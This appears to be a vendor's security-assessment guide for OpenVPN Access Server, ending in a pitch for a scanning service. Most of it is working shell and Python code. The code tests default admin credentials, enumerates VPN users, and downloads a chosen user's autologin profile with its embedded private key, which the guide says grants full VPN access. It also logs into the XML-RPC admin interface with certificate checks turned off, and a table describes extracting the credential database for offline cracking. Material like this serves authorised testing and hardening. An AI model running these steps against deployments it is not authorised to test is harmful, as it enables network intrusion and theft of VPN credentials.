OpenVPN Access Server is the most widely deployed self-hosted VPN solution with a web management interface, protecting remote access for home labs, small businesses, and development environments. Compromising the OpenVPN Access Server admin account is equivalent to compromising the network boundary it protects. Its security profile includes: OpenVPN Access Server defaults to openvpn/openvpn as the administrative user credentials until explicitly changed; the REST API on port 943 provides user management, certificate download, and configuration access; the /rest/GetAutologin endpoint downloads a complete .ovpn profile including an embedded private key for any user; the XML-RPC interface provides full user enumeration and configuration management; and the OpenVPN AS stores user credentials in a SQLite database (userprop.db) on the filesystem. This guide covers systematic OpenVPN Access Server security assessment.
# OpenVPN Access Server — default admin credentials openvpn/openvpn
OVPN_URL="https://vpn.example.com:943"
# Test default openvpn/openvpn credentials via REST API
SESSION=$(curl -sk -c /tmp/ovpn_cookies.txt \
-X POST "${OVPN_URL}/rest/GetSessionToken" \
-d "username=openvpn&password=openvpn" 2>/dev/null)
echo "$SESSION" | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
if d.get('status','').lower() == 'succeeded':
print('DEFAULT CREDENTIALS VALID: openvpn/openvpn')
print(f'Session token: {d.get(\"session_token\",\"\")[:40]}...')
else:
print(f'Failed: {d.get(\"error\",d)}')
except Exception as e:
print(f'Parse error: {e}')
print(sys.stdin.read()[:200])
" 2>/dev/null
# Test common default variations
for CREDS in "admin:admin" "admin:password" "openvpn:password"; do
USER=$(echo "$CREDS" | cut -d: -f1)
PASS=$(echo "$CREDS" | cut -d: -f2)
RESULT=$(curl -sk -X POST "${OVPN_URL}/rest/GetSessionToken" \
-d "username=${USER}&password=${PASS}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print('VALID' if d.get('status','').lower() == 'succeeded' else 'INVALID')
except: print('INVALID')
" 2>/dev/null)
echo "${USER}:${PASS} -> ${RESULT}"
done
# OpenVPN AS REST API — user management and certificate download
OVPN_URL="https://vpn.example.com:943"
SESSION_TOKEN="your-session-token"
# List all VPN users
curl -sk "${OVPN_URL}/rest/ShowUsers" \
-d "session_token=${SESSION_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
users = d.get('vpn_users',[])
print(f'VPN users: {len(users)}')
for u in users:
print(f' {u.get(\"cn\")} admin={u.get(\"is_admin\")} connected={u.get(\"connected_since\")}')
except Exception as e:
print(f'Error: {e}')
" 2>/dev/null
# Download autologin profile for a user — includes embedded private key
# This is the most direct path to VPN access: .ovpn file contains everything needed
USERNAME="targetuser"
curl -sk "${OVPN_URL}/rest/GetAutologin" \
-d "session_token=${SESSION_TOKEN}&username=${USERNAME}" 2>/dev/null | head -30
# Output is a .ovpn config file containing:
# - CA certificate
# - Client certificate
# - Client private key (embedded between tags)
# This gives complete VPN access for the target user
# Get server configuration including routing and DNS settings
curl -sk "${OVPN_URL}/rest/GetServerConfig" \
-d "session_token=${SESSION_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
config = d.get('vpn_config',{})
print(f'VPN network: {config.get(\"vpn_network\")}')
print(f'DNS servers: {config.get(\"dns_servers\")}')
print(f'Routing mode: {config.get(\"vpn_route_traffic\")}')
except: pass
" 2>/dev/null
# OpenVPN AS XML-RPC — accessible on port 943, full admin capabilities
OVPN_URL="https://vpn.example.com:943"
# XML-RPC authentication — same credentials as web UI
python3 -c "
import xmlrpc.client, ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
transport = xmlrpc.client.SafeTransport(context=ctx)
proxy = xmlrpc.client.ServerProxy(
'https://openvpn:openvpn@vpn.example.com:943/RPC2',
transport=transport
)
# List all users via XML-RPC
try:
result = proxy.GetUserlogin()
print(f'Authentication: {result}')
except Exception as e:
print(f'Error: {e}')
# Get full server configuration
try:
config = proxy.GetConfig()
print(f'Server config keys: {list(config.keys())[:10]}')
except Exception as e:
print(f'Config error: {e}')
" 2>/dev/null
passwd openvpn on the host; the openvpn user has administrative access to both the VPN admin UI and the underlying Linux system| Security Test | Method | Risk |
|---|---|---|
| Default openvpn/openvpn admin credentials | POST /rest/GetSessionToken with username=openvpn&password=openvpn — status=succeeded confirms valid credentials; session token provides full REST API admin access including user management and certificate download | Critical |
| Autologin profile with embedded private key | POST /rest/GetAutologin with valid session token and target username — returns complete .ovpn profile file with embedded CA cert, client cert, and private key; provides direct VPN access without password for that user | Critical |
| User enumeration via REST API | POST /rest/ShowUsers — returns all configured VPN users including admin status, connection history, and profile settings; reveals user list for targeted credential attacks | High |
| XML-RPC full admin access | XMLRPC proxy to /RPC2 with basic auth credentials — same access level as web admin UI; allows user creation, configuration changes, and certificate management via XML-RPC protocol | Critical (requires valid credentials) |
| Database credential extraction | Read /etc/openvpn/as/db/userprop.db — SQLite database containing user credentials, certificate details, and configuration; accessible from root on the OpenVPN AS host; credential extraction enables offline password attack | High |
Ironimo tests OpenVPN Access Server deployments for default admin credential exploitation (openvpn/openvpn), autologin profile download with embedded private key, REST API user enumeration and session management, XML-RPC interface authentication and access, admin UI network exposure on port 943, MFA configuration audit, active session review, and certificate revocation list validation.
Start free scan